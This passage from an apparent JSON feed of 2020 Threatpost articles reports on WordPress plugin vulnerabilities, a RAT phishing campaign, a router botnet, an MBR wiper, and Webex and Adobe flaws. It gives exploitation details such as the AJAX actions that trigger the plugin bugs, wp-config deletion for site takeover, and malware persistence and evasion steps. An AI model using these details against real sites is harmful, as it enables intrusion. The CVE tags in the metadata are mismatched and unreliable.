used to execute arbitrary code, upload files or \u201cany number of other tactics that could lead to site takeover,\u201d the firm warned.\n\n\u201cAlthough the Newsletter editor did not allow lower-level users to save changes to a given newsletter, the same tnpc_render_callback AJAX function was still accessible to all logged-in users, including subscribers,\u201d according to Wordfence. \u201cThis introduced a PHP object-injection vulnerability via the restore_options_from_request function.\u201d\n\nIn terms of methods of exploitation, Wordfence researchers explained that the __destruct function is used by many sites to automatically delete files and \u201cclean up\u201d once a pre-defined, legitimate process is completed. An example would be a script on an e-commerce site that calculates product prices, stores a log of that action, and then deletes the log when it\u2019s done.\n\nIf this code were running on a site that also contained the PHP object injection vulnerability, an attacker could delete the wp-config.php file containing the WordPress site\u2019s core configuration settings by sending a specially crafted payload.\n\n\u201cThe deletion of the wp-config.php file would reset the site and allow an attacker to take over by pointing the site\u2019s new configuration to a remote database under their control,\u201d explained Wordfence.\n\nThe researchers added that to be successful, an attacker would need to know which plugins are installed on a given site \u2013 which can be uncovered with scanning tools, but which means that the bug would be unlikely to be exploited by an automatic script or in bulk.\n\n## **WordPress Plugin Bugs Proliferate**\n\nWordPress plugins are no strangers to security vulnerabilities, some of which can be critical. For instance, last week [just such a bug was found](<https://threatpost.com/critical-rce-flaw-wordpress-plugin-on-70k-sites/157824/>) in a WordPress plugin called Comments \u2013 wpDiscuz, which is installed on more than 70,000 websites. The flaw gives unauthenticated attackers the ability to upload arbitrary files (including PHP files) and ultimately execute remote code on vulnerable website servers.\n\nEarlier in July, [it was discovered that the](<https://threatpost.com/advertising-plugin-wordpress-full-site-takeovers/157283/>) Adning Advertising plugin for WordPress, a premium plugin with over 8,000 customers, contains a critical remote code-execution vulnerability with the potential to be exploited by unauthenticated attackers.\n\nIn May, Page Builder by SiteOrigin, a WordPress plugin with a million active installs that\u2019s used to build websites via a drag-and-drop function, [was found to harbor](<https://threatpost.com/wordpress-page-builder-bugs-takeover/155659/>) two flaws that could allow full site takeover.\n\nMeanwhile in April, it was revealed that legions of website visitors could be infected with drive-by malware, among other issues, thanks to a [CSRF bug in Real-Time Search and Replace](<https://threatpost.com/wordpress-plugin-bug-100k-websites-compromise/155230/>).\n\n_**Complimentary Threatpost Webinar**__: Want to learn more about Confidential Computing and how it can supercharge your cloud security? This webinar \u201c**[Cloud Security Audit: A Confidential Computing Roundtable](<https://attendee.gotowebinar.com/register/3844090971254297614?source=art>)**\u201d brings top cloud-security experts from Microsoft and __Fortanix together to explore how **Confidential Computing** is a game changer for securing dynamic cloud data and preventing IP exposure. Join us **[Wednesday Aug. 12 at 2 p.m. ET](<https://attendee.gotowebinar.com/register/3844090971254297614?source=art>) **for this** FREE **live webinar with Dr. David Thaler, software architect, Microsoft and Dr Richard Searle, security architect, Fortanix \u2013 both with the Confidential Computing Consortium. **[Register Now](<https://attendee.gotowebinar.com/register/3844090971254297614?source=art>)**._\n", "cvss3": {}, "published": "2020-08-04T18:11:18", "type": "threatpost", "title": "Newsletter WordPress Plugin Opens Door to Site Takeover", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-5135"], "modified": "2020-08-04T18:11:18", "id": "THREATPOST:158524EA6F79769C547CC6A407EF6E78", "href": "https://threatpost.com/newsletter-wordpress-plugin-site-takeover/158025/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-14T22:28:08", "description": "The legitimate remote access tool (RAT) called NetSupport Manager, used for troubleshooting and tech support, is being converted into a malicious weapon by cybercriminals. Researchers at Palo Alto Networks\u2019 Unit 42 division have spotted a spam campaign attempting to deliver a malicious Microsoft Word document that uses the disguise of a NortonLifeLock-protected file.\n\nNortonLifeLock is a security utility for password-protecting attachments, among other things. If a recipient opens the document via Microsoft Office Outlook, a prompt appears that asks users to \u201cenable content\u201d to open the document \u2013 clicking \u201cyes\u201d executes macros.\n\n\u201cTo the user, the document appears to contain personal information that requires a password to view,\u201d said researchers, in a [recent analysis](<https://unit42.paloaltonetworks.com/cortex-xdr-detects-netsupport-manager-rat-campaign/>). \u201cOnce the document is opened and the user clicks \u2018Enable Content,\u2019 the macro is executed and the user is presented with a password dialog box.\u201d\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nResearchers added that the password is likely provided in the body of the phishing email, because it has to be correct; no malicious activity occurs until the correct key is entered. Once the key is accepted, the macros create and execute a batch file called alpaca.bat.\n\n\u201cThe macro obfuscates all strings using multiple labels on Visual Basic for Applications (VBA) forms, which contain two characters that are eventually linked together to construct the final command to download and execute the RAT on the victim,\u201d according to Unit 42. \u201cThe command string is executed via the VBA shell function, which [creates and executes alpaca.bat].\u201d\n\nThe campaign uses a range of tactics to obfuscate its activity from both dynamic and static analysis, according to researchers. For instance, the batch script uses msiexec, which is a legitimate part of the Windows Installer service. It\u2019s used to download and install a Microsoft Intermediate Language (MSIL) binary from a legitimate domain, which has been compromised. Once downloaded, the binary will execute using the /q parameter to suppress any Windows dialogs from the user.\n\nThe campaign also uses the PowerShell PowerSploit framework to carry out the installation of the malicious file activity. The MSI installs a PowerShell script in the victim\u2019s %temp% directory named REgistryMPZMZQYVXO.ps1. This contains another PowerShell script that is responsible for installing the NetSupport Manager RAT onto the victim\u2019s machine.\n\n\u201cThe PowerShell script appears to have been generated using the open-source script Out-EncryptedScript.ps1 from the PowerSploit framework,\u201d according to the analysis. \u201cIt contains a blob of data that is obfuscated via base64 and is TripleDES encrypted with a cipher mode of Cipher Block Chain (CBC).\u201d\n\nThe RAT installer PowerShell script interestingly aborts installation if Avast or AVG Antivirus Software is running on the target machine. If not, it installs 12 files that make up the NetSupport Manager RAT to a random directory and sets up persistence by creating the following registry key: HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run.\n\n\u201cOnce the main NetSupport Manager executable (presentationhost.exe) is started, it beacons to the domain geo.netsupportsoftware[.]com to retrieve geolocation of the host followed by an HTTP POST,\u201d the researchers wrote.\n\nResearchers said that the campaign is likely part of a larger offensive that dates back to early November, with email subject lines reusing themes associated with refunds, as well as transaction and order inquiries. The attached documents contain the target company\u2019s name.\n\n\u201cMalicious use of the NetSupport Manager remote access tool has also been reported by both [FireEye ](<https://www.fireeye.com/blog/threat-research/2018/04/fake-software-update-abuses-netsupport-remote-access-tool.html>)and [Zscaler ](<https://www.zscaler.com/blogs/research/netsupport-rat-installed-fake-update-notices>)researchers,\u201d researchers concluded. \u201cWhile this activity appears to be broad and at large scale, there are indications, such as the document name, that show the actor\u2019s attempt to provide a stronger relationship to the target in an attempt to increase the success rate.\u201d\n", "cvss3": {}, "published": "2020-03-02T21:59:34", "type": "threatpost", "title": "NetSupport Manager RAT Spread via Bogus NortonLifeLock Docs", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-5135"], "modified": "2020-03-02T21:59:34", "id": "THREATPOST:EBE40A69B865E25E52FF87060EDD790F", "href": "https://threatpost.com/netsupport-manager-rat-nortonlifelock-docs/153387/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-14T22:26:16", "description": "[![](https://media.threatpost.com/wp-content/uploads/sites/103/2020/04/16215737/Divycloud_225x188.jpg)](<https://register.gotowebinar.com/register/4136632530104301068?source=art>)The Mootbot botnet has been using a pair of zero-day exploits to compromise multiple types of fiber routers. According to researchers, other botnets have attempted to do the same, but have so far failed.\n\nAccording to researchers at NetLab 360, the operators of the Mootbot botnet in late February started to exploit a zero-day bug found in nine different types of fiber routers used to provide internet access and Wi-Fi to homes and businesses (including the Netlink GPON router). The flaw is a remote code-execution bug with a public proof-of-concept (PoC) exploit \u2013 but for it to be used successfully to compromise a target router, it must be paired with a second vulnerability.\n\n\u201cIt is likely most of the vendors are OEM products of the same original vendor,\u201d the firm explained in a [recent posting](<https://blog.netlab.360.com/multiple-fiber-routers-are-being-compromised-by-botnets-using-0-day-en/>). However, NetLab 360 said that it wouldn\u2019t release the original vendor\u2019s name nor details of the second bug, because the vendor told the security firm that it didn\u2019t see the bug as viable.\n\n\u201cOn March 17, we confirmed the exploit was a 0-day and reported the result to CNCERT,\u201d according to the analysis. \u201cWe also contacted the vendor but was told this problem should not be happening because the default config of the device should not have this issue (the reality is different). So they won\u2019t take this case from us.\u201d\n\nDespite that initial assessment, a PoC code for the bug emerged on ExploitDB a day later. And a day after that, on March 19, the firm saw attacks in the wild using the PoC to attempt to spread the Gafgyt botnet. A few days later, the botnet had adopted the PoC as part of a worming attempt to move from router to router. Meanwhile, on March 24, another wave of exploit attempts emerged using the PoC, this time trying to spread the Fbot botnet.\n\n\u201cThe PoC lefts out a crucial prerequisite \u2013 another vulnerability needs to be used together with this PoC for it to work,\u201d researchers explained. \u201cSo, a successful execution of the injected commands will not have the target device compromised.\u201d\n\nMoobot is a new botnet family based on [Mirai botnet](<https://threatpost.com/mirai-enterprise-systems/142889/>), which targets internet of things (IoT) devices. While most IoT botnets go after gear that may have weak or default passwords, Mootbot stands out for its use of zero-day exploits, researchers said. It\u2019s worth noting that the malware [was also seen in March](<https://threatpost.com/hackers-exploited-0-day-cctv-camera/154051/>) using multiple zero days to target LILIN DVR and IP cameras.\n\nThough it didn\u2019t release details of the second success factor in the kill chain, NetLab 360 recommended that to protect against the threat, users that have fiber-based internet access routers should check and update their device firmware, and check whether there are default accounts that should be disabled.\n\nJack Mannino, CEO at nVisium, told Threatpost that the [focus on routers](<https://threatpost.com/thousands-of-mikrotik-routers-hijacked-for-eavesdropping/137165/>) offers attackers certain advantages.\n\n\u201cControlling network infrastructure will always be an appealing attacker goal because of the springboard it provides for launching future attacks,\u201d he said. \u201cAs a software developer, it\u2019s important to consider that the networks your users access your product from may be compromised, and build this into your threat models. Whether it\u2019s the level of access it provides to network traffic, or the chokepoints and amplifiers for DDoS attacks they present, previous botnets, such as Mirai, gave us a glimpse into what these campaigns can achieve. More security teams focus on their Patch Tuesday fixes than updating the devices they frequently expose directly to the internet.\u201d\n\n**_Worried about your cloud security in the work-from-home era? On _****_April 23 at 2 p.m. ET_****_, join DivvyCloud and Threatpost for a FREE webinar, _**[**_A Practical Guide to Securing the Cloud in the Face of Crisis_**](<https://attendee.gotowebinar.com/register/4136632530104301068?source=art>)**_. Get exclusive research insights and critical, advanced takeaways on how to avoid cloud disruption and chaos in the face of COVID-19 \u2013 and during all times of crisis. _**[**_Please register here_**](<https://attendee.gotowebinar.com/register/4136632530104301068?source=art>)_** for this sponsored webinar.**_\n", "cvss3": {}, "published": "2020-04-20T20:51:59", "type": "threatpost", "title": "Mootbot Botnet Targets Fiber Routers with Dual Zero-Days", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-5135"], "modified": "2020-04-20T20:51:59", "id": "THREATPOST:E95F180BE3CA693890795666169A5F04", "href": "https://threatpost.com/mootbot-fiber-routers-zero-days/154962/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-14T22:26:51", "description": "A new Windows malware has emerged that makes disks unusable by overwriting the master boot record (MBR). It takes its cue from the COVID-19 pandemic, calling itself simply \u201cCoronavirus.\u201d\n\nOverwriting the MBR is the same trick that the infamous NotPetya wiper malware used in 2017 in a campaign that caused widespread, [global financial damage](<https://threatpost.com/pharmaceutical-giant-still-feeling-notpetyas-sting/127130/>).\n\nWorryingly, according to the SonicWall Capture Labs Threat Research team, the fresh malware strain is also a destructive trojan \u2014 though not as destructive as other wipers. And like its namesake, there\u2019s no obvious cure. In [a posting on Tuesday](<https://securitynews.sonicwall.com/xmlpost/coronavirus-trojan-overwriting-the-mbr/>), researchers explained that victims of the Coronavirus trojan find themselves with a gray screen and a blinking cursor with a simple message, \u201cYour computer has been trashed.\u201d\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nThe novel coronavirus, and the disease it causes, COVID-19, has provided a depth of fodder for cybercriminals looking to capitalize on the global concern around the pandemic. For instance, a recent spate of phishing attacks has used [the promise of financial relief](<https://threatpost.com/coronavirus-financial-relief-phishing-spike/154358/>) due to the disease as a lure. However, the operator behind this malware takes it one step further, going so far as to take the coronavirus as its name and infection theme.\n\nAs far as that infection routine, the malware can be delivered in any of the usual ways \u2013 as a malicious email attachment, file download, fake application and so on.\n\nUpon execution, the malware starts its process by installing a number of helper files, which are placed in a temporary folder. The malware cleaves tight to its pandemic theme: An installer (a helper file named \u201ccoronavirus.bat\u201d) sets up the attack by creating a hidden folder named \u201cCOVID-19\u201d on the victim machine. The previously dropped helper files are then moved there, in an effort to go unnoticed until its goal is achieved.\n\nAfter that, the installer disables Windows Task Manager and User Access Control (UAC) in a further stab at obfuscation, according to the analysis. It also changes the victim\u2019s wallpaper, and disables options to add or modify that wallpaper after the change is made. It also adds entries in registry for persistence, and then sets about rebooting to finish the installation.\n\nThe process run.exe creates a batch file named run.bat to ensure the registry modifications done by \u201ccoronavirus.bat\u201d are kept intact during the reboot process, according to SonicWall.\n\nAfter reboot, the infection executes two binaries. One, \u201cmainWindow.exe,\u201d displays a window with a picture of the coronavirus itself, with two buttons. At the top of the window, the victim is notified that \u201ccoronavirus has infected your PC!\u201d\n\nThe two buttons read \u201cRemove virus\u201d and \u201cHelp.\u201d The former does nothing when clicked; the latter brings up a pop-up that tells victims to \u201cnot wast [sic] your time\u201d because \u201cyou can\u2019t terminate this process!\u201d\n\nThe other binary carries out the meat of the attack: It\u2019s responsible for overwriting the MBR.\n\n\u201cThe original MBR is first backed up in the first sector before it is overwritten with new one, [and the] MBR is overwritten with the new code,\u201d according to the researchers.\n\nOnce the overwrite is complete, the victim\u2019s display is changed to a simple grey screen delivering the bad news:\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2020/04/01164031/corona-trojan-grey-screen.png)](<https://media.threatpost.com/wp-content/uploads/sites/103/2020/04/01164031/corona-trojan-grey-screen.png>)\n\nSonicWall told Threatpost in an email interview that it was able to analyze the sample after it was uploaded to VirusTotal. Thus, so far, there haven\u2019t been many instances of \u201cCoronavirus\u201d observed in the wild, and little in known in terms of targeting or what the spreading mechanisms are for the mysterious new malware.\n\nThe team also told Threatpost that the good news is that this is not as dangerous as other wiper strains.\n\n\u201cEven if the MBR is not restored\u2026data can still be accessed/recovered by mounting the drive,\u201d the firm noted. \u201cThe MBR [also] can be potentially restored, but it is not easy and [requires deep technical knowledge](<https://neosmart.net/wiki/fix-mbr/>).\u201d\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2020/03/24173101/DUO_320x50.jpg)](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>)\n\n_**Do you suffer from Password Fatigue? On [Wednesday April 8 at 2 p.m. ET](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>) join **_**_Duo Security and Threatpost as we explore a [passwordless](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>) future. This [FREE](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>) webinar maps out a future where modern authentication standards like WebAuthn significantly reduce a dependency on passwords. We\u2019ll also explore how teaming with Microsoft can reduced reliance on passwords. [Please register here](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>) and dare to ask, \u201c[Are passwords overrated?](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>)\u201d in this sponsored webinar. _**\n", "cvss3": {}, "published": "2020-04-01T21:07:22", "type": "threatpost", "title": "Wiper Malware Called \"Coronavirus\" Spreads Among Windows Victims", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-5135"], "modified": "2020-04-01T21:07:22", "id": "THREATPOST:F18124E38523CE6CF73ACDCF7DBF78BC", "href": "https://threatpost.com/wiper-malware-coronavirus-windows-victims/154368/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-14T22:08:58", "description": "Two high-severity vulnerabilities in Post Grid, a WordPress plugin with more than 60,000 installations, opens the door to site takeovers, according to researchers. To boot, nearly identical bugs are also found in Post Grid\u2019s sister plug-in, Team Showcase, which has 6,000 installations.\n\nThe issues are a cross-site scripting (XSS) flaw as well as a PHP object-injection issue. Both bugs are pending CVE numbers, and both are high-severity, rating 7.5 out of 10 on the CvSS vulnerability rating scale.\n\nPost Grid, true to its name, allows users to display their posts in a grid layout; meanwhile, Team Showcase offers a way to easily highlight an organization\u2019s team members. Both allowed the import of custom layouts, and used nearly identical \u2013 and vulnerable \u2013 functions for doing so, according to Ram Gall, researcher with Wordfence.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nThe XSS bug would allow an attacker to supply a source parameter pointing to a crafted malicious payload hosted elsewhere. The function would then open the file containing the payload, decode it and create a new page layout based on its contents.\n\n\u201cThe created layout included a custom_scripts section, and an attacker could add malicious JavaScript to the custom_css portion of this section,\u201d explained Gall, [in a posting](<https://www.wordfence.com/blog/2020/10/high-severity-vulnerabilities-in-post-grid-and-team-showcase-plugins/>) on Monday. \u201cThis would then be executed whenever an administrative user edited the layout or a visitor visited a page based on the layout.\u201d\n\nThe upshot is that attackers could use the malicious JavaScript to add a malicious administrator, add a backdoor to plugin or theme files, or steal the administrator\u2019s session information \u2013 all of which are paths to complete takeover of a site.\n\nTriggering an exploit is also somewhat trivial.\n\n\u201cIn both cases, a logged-in attacker with minimal permissions such as subscriber could trigger the functions by sending an AJAX request, with the action set to post_grid_import_xml_layouts for the Post Grid plugin or team_import_xml_layouts for the Team Showcase plugin, with each action triggering a function with the same name,\u201d Gall explained.\n\nThe second issue, the PHP object-injection bug, arises in the import function because it unserialized the payload supplied in the source parameter. An attacker could therefore execute arbitrary code, delete or write files, or perform any number of other actions which could lead to site takeover.\n\nTo trigger the flaw, \u201can attacker could craft a string that would be unserialized into an active PHP object,\u201d Gall explained. \u201cAlthough neither plugin utilized any vulnerable magic methods, if another plugin using a vulnerable magic method was installed, Object injection could be used by an attacker.\u201d\n\nBoth vulnerabilities would typically require the attacker to have an account with at least subscriber level privileges \u2013 but there\u2019s a loophole.\n\n\u201cHowever, sites using a plugin or theme that allowed unauthenticated visitors to execute arbitrary shortcodes would be vulnerable to unauthenticated attackers,\u201d Gall added.\n\nThe plugins\u2019 developer, PickPlugins, has issued patches, so web admins should upgrade as soon as possible. The fixed versions are Post Grid v. 2.0.73 and Team Showcase v. 1.22.16.\n\nThese are the latest in the line of faulty WordPress plugins that have come to light this year. In September, a high-severity flaw in the Email Subscribers & Newsletters plugin by Icegram [was found to affect](<https://threatpost.com/wordpress-plugin-flaw/159172/>) more than 100,000 WordPress websites.\n\n[Earlier in August](<https://threatpost.com/critical-flaws-wordpress-quiz-plugin-site-takeover/158379/>), a plugin that is designed to add quizzes and surveys to WordPress websites patched two critical vulnerabilities. The flaws could be exploited by remote, unauthenticated attackers to launch varying attacks \u2013 including fully taking over vulnerable websites. [Also in August,](<https://threatpost.com/newsletter-wordpress-plugin-site-takeover/158025/>) Newsletter, a WordPress plugin with more than 300,000 installations, was discovered to have a pair of vulnerabilities that could lead to code-execution and even site takeover.\n\nAnd, [researchers in July warned](<https://threatpost.com/critical-rce-flaw-wordpress-plugin-on-70k-sites/157824/>) of a critical vulnerability in a WordPress plugin called Comments \u2013 wpDiscuz, which is installed on more than 70,000 websites. The flaw gave unauthenticated attackers the ability to upload arbitrary files (including PHP files) and ultimately execute remote code on vulnerable website servers.\n\n[**On October 14 at 2 PM ET**](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>)** Get the latest information on the rising threats to retail e-commerce security and how to stop them. **[**Register today**](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>)** for this FREE Threatpost webinar, \u201c**[**Retail Security: Magecart and the Rise of e-Commerce Threats.**](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>)**\u201d Magecart and other threat actors are riding the rising wave of online retail usage and racking up big numbers of consumer victims. Find out how websites can avoid becoming the next compromise as we go into the holiday season. Join us Wednesday, Oct. 14, 2-3 PM ET for this **[**LIVE **](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>)**webinar.**\n", "cvss3": {}, "published": "2020-10-05T21:11:44", "type": "threatpost", "title": "Post Grid WordPress Plugin Flaws Allow Site Takeovers", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-5135"], "modified": "2020-10-05T21:11:44", "id": "THREATPOST:8E52FA6620F4FFE6ED3A412867239F2B", "href": "https://threatpost.com/wordpress-plugin-flaws/159856/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-15T22:25:39", "description": "UPDATE\n\nCisco Systems has fixed a high-severity vulnerability in its popular Webex video conferencing platform, which could let strangers barge in on password-protected meetings \u2013 no authentication necessary.\n\nA remote attacker would not need to be authenticated to exploit the flaw, according to Cisco. All an attacker would need is the meeting ID and a Webex mobile application for either iOS or Android.\n\n\u201cAn unauthorized attendee could exploit this vulnerability by accessing a known meeting ID or meeting URL from the mobile device\u2019s web browser. The browser will then request to launch the device\u2019s Webex mobile application,\u201d wrote Cisco in a [Friday advisory](<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20200124-webex-unauthjoin>). Next, the interloper can access the specific meeting via the mobile Webex app, no password required.\n\n\u201cThe vulnerability is due to unintended meeting information exposure in a specific meeting join flow for mobile applications,\u201d Cisco said. \u201cAn unauthorized attendee could exploit this vulnerability by accessing a known meeting ID or meeting URL from the mobile device\u2019s web browser.\u201d\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nOne caveat to the attack is that unauthorized attendees would be visible in the attendee list of the meeting as a mobile attendee \u2013 meaning their presence could be detected by others in the meeting. However, if left undetected, an attacker would be able to eavesdrop on potentially secretive or critical business meeting details.\n\nAffected are Cisco Webex Meetings Suite sites and Cisco Webex Meetings Online sites for versions earlier than 39.11.5 (for the former) and 40.1.3 (for the latter). Cisco fixed this vulnerability in versions 39.11.5 and later and 40.1.3 and later for Cisco Webex Meetings Suite sites and Cisco Webex Meetings Online sites.\n\nNo user interaction is required for updating, according to Cisco. However, users can check that their Cisco Webex platform is up to date by:\n\n * Logging in to the Cisco Webex Meetings Suite site or Cisco Webex Meetings Online site and navigating to Downloads on the left side of the page.\n * Next to Version Information, hover over the circled i.\n * Check the value displayed next to Page version.\n\nThe flaw (CVE-2020-3142), which has a CVSS score of 7.5 out of 10, was found internally during the resolution of a Cisco TAC support case.\n\n\u201cThe Cisco Product Security Incident Response Team (PSIRT) is not aware of any public announcements of the vulnerability that is described in this advisory,\u201d according to Cisco.\n\nHigh-severity and critical flaws continue to crop up for [Cisco\u2019s Webex platform](<https://threatpost.com/cisco-webex-remote-code-execution/144805/>) \u2013 including one patched just a few weeks ago that [could enable a remote attacker](<https://threatpost.com/cisco-webex-bug-allows-remote-code-execution/151724/>) to execute commands \u2013 as well as video conferencing applications in general. In 2018, for instance, a serious vulnerability in [Zoom\u2019s desktop conferencing application](<https://threatpost.com/critical-zoom-flaw-lets-hackers-hijack-conference-meetings/139489/>) was discovered that could allow a remote attacker to hijack screen controls and kick attendees out of meetings.\n\nThis is also only the latest security update issued this week by Cisco \u2013 the telecom giant on Wednesday [released updates addressing 27 flaws](<https://tools.cisco.com/security/center/publicationListing.x?product=Cisco&sort=-day_sir&limit=50#~Vulnerabilities>), including a critical flaw in its [administrative management tool](<https://threatpost.com/cisco-critical-network-security-tool-flaw/152131/>) for Cisco network security solutions. Earlier this month, Cisco [fixed two high-severity vulnerabilities](<https://threatpost.com/cisco-webex-bug-allows-remote-code-execution/151724/>) in its products, including one in its popular Webex video conferencing platform, that could enable a remote attacker to execute commands. Also earlier in January [Cisco also patched three critical vulnerabilities](<https://threatpost.com/cisco-patches-3-critical-bugs-nx-os/151529/>) (CVE-2019-15975, CVE-2019-15976, CVE-2019-15977) in its Data Center Network Manager (DCNM), for which a [proof-of-concept exploit](<https://threatpost.com/cisco-dcnm-flaw-exploit/151949/>) was later published.\n\n_(This article was updated 1/25/20 at 2:45 pm ET to more accurately reflect the specific attack vector.)_\n", "cvss3": {}, "published": "2020-01-24T19:27:45", "type": "threatpost", "title": "Cisco Webex Flaw Lets Unauthenticated Users Join Private Online Meetings", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-15975", "CVE-2019-15976", "CVE-2019-15977", "CVE-2020-24400", "CVE-2020-24407", "CVE-2020-3142"], "modified": "2020-01-24T19:27:45", "id": "THREATPOST:525BDFF0E0C4D33D5E543DA8234EA30B", "href": "https://threatpost.com/cisco-webex-flaw-lets-unauthenticated-users-join-private-online-meetings/152191/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-10-15T22:19:42", "description": "Adobe has issued an out-of-band patch for a critical flaw in Adobe Character Animator, its application for creating live motion-capture animation videos. The flaw can be exploited by a remote attacker to execute code on affected systems.\n\nThe flaw ([CVE-2020-9586](<https://helpx.adobe.com/security/products/character_animator/apsb20-25.html>)) is found in versions 3.2 and earlier and exists within the parsing of the BoundingBox element in PostScript. Specifically, it stems from a stack-based buffer overflow error, meaning the element lacks proper validation of the length of user-supplied data prior to copying it to a stack-based buffer.\n\n\u201cOf the bugs fixed today, CVE-2020-9586 stands out as it could code execution if a user opens a malicious file or visits a malicious web page,\u201d Dustin Childs, manager at Trend Micro\u2019s Zero Day Initiative, told Threatpost. \u201cAn attacker can leverage this vulnerability to execute code in the context of the current process.\u201d\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nUsers are urged to update to version 3.3 for Windows and macOS. While the flaw is critical, the security bulletin is a Priority 3 update, which according to Adobe resolves vulnerabilities in a product that has historically not been a target for attackers. \u201cAdobe recommends administrators install the update at their discretion,\u201d according to the update.\n\nAdobe on Tuesday also issued several updates addressing other flaws. While these other vulnerabilities are \u201cimportant\u201d in severity, they would all need to be combined with additional bugs to gain code execution, Childs told Threatpost.\n\nOne such flaw exists in [Adobe Premiere Rush](<https://helpx.adobe.com/security/products/premiere_rush/apsb20-29.html>), its video editing software for online video creators. The software has an out-of-bounds read vulnerability (CVE-2020-9617) that could lead to information disclosure. Users are urged to update to Adobe Premiere Rush version 1.5.12 for Windows and macOS.\n\nAnother \u201cimportant\u201d-severity flaw exists in [Adobe Premiere Pro](<https://helpx.adobe.com/security/products/premiere_pro/apsb20-27.html>), another version of Adobe\u2019s video editing software that is more advanced than Adobe Premiere Rush (which is instead more targeted toward YouTubers and social media creators). Like Premiere Rush, Premiere Pro has an out-of-bounds read flaw (CVE-2020-9616) that could lead to information disclosure. Users can update to version 14.2 for Windows and macOS.\n\nFinally, Adobe stomped out a flaw in [Audition](<https://helpx.adobe.com/security/products/audition/apsb20-28.html>), which is its toolset offering for creating and editing audio content. The out-of-bounds read flaw (CVE-2020-9618) can enable information disclosure if exploited. A patch is available in Audition 13.0.6 for Windows and macOS.\n\nFor all of these flaws, \u201cAdobe is not aware of any exploits in the wild for any of the issues addressed in these updates,\u201d according to the alert. Mat Powell with ZDI was credited with discovering these flaws.\n\nThe unscheduled patches come a week after [Adobe\u2019s regularly-scheduled updates](<https://threatpost.com/adobe-kills-16-critical-flaws-in-acrobat-and-reader-digital-negative-sdk/155652/>), which fixed 16 critical flaws across its Acrobat and Reader applications and its Adobe Digital Negative (DNG) Software Development Kit \u2013 and addressed 36 CVEs overall.\n\n**_Concerned about the IoT security challenges businesses face as more connected devices run our enterprises, drive our manufacturing lines, track and deliver healthcare to patients, and more? On [June 3 at 2 p.m. ET](<https://attendee.gotowebinar.com/register/1837650474090338831?source=ART>), join renowned security technologist Bruce Schneier, Armis CISO Curtis Simpson and Threatpost for a FREE webinar, [Taming the Unmanaged and IoT Device Tsunami](<https://attendee.gotowebinar.com/register/1837650474090338831?source=ART>). Get exclusive insights on how to manage this new and growing attack surface. [Please register here](<https://attendee.gotowebinar.com/register/1837650474090338831?source=ART>) for this sponsored webinar._**\n", "cvss3": {}, "published": "2020-05-19T15:44:46", "type": "threatpost", "title": "Adobe Patches Critical RCE Flaw in Character Animator App", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-24400", "CVE-2020-24407", "CVE-2020-9586", "CVE-2020-9616", "CVE-2020-9617", "CVE-2020-9618"], "modified": "2020-05-19T15:44:46", "id": "THREATPOST:20ECC314C8122C21B6B0C611C14F1A13", "href": "https://threatpost.com/adobe-patches-critical-rce-flaw-character-animator/155882/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-10-14T22:09:04", "description": "Researchers have discovered the latest cryptojacking malware gambit from TeamTNT, called Black-T. The variant builds on the group\u2019s typical approach, with a few new \u2014 and sophisticated \u2014 extras.\n\nTeamTNT is known for its targeting of Amazon Web Services (AWS) credentials, to break into the cloud and use it to mine for the [Monero](<https://threatpost.com/monero-cybercrime-mining-malware/141116/>) cryptocurrency. But according to researchers with Palo Alto Network\u2019s Unit 42, with [Black-T](<https://unit42.paloaltonetworks.com/black-t-cryptojacking-variant/>), the group has added in additional capabilities to its tactics, techniques and procedures (TTPs). These include the addition of sophisticated network scanners; the targeting of competitor XMR mining tools on the network; and the use of password scrapers.\n\nWhat TeamTNT plans to do with the saved passwords and additional capabilities is still unclear, but the development signals that the group doesn\u2019t plan to slow down anytime 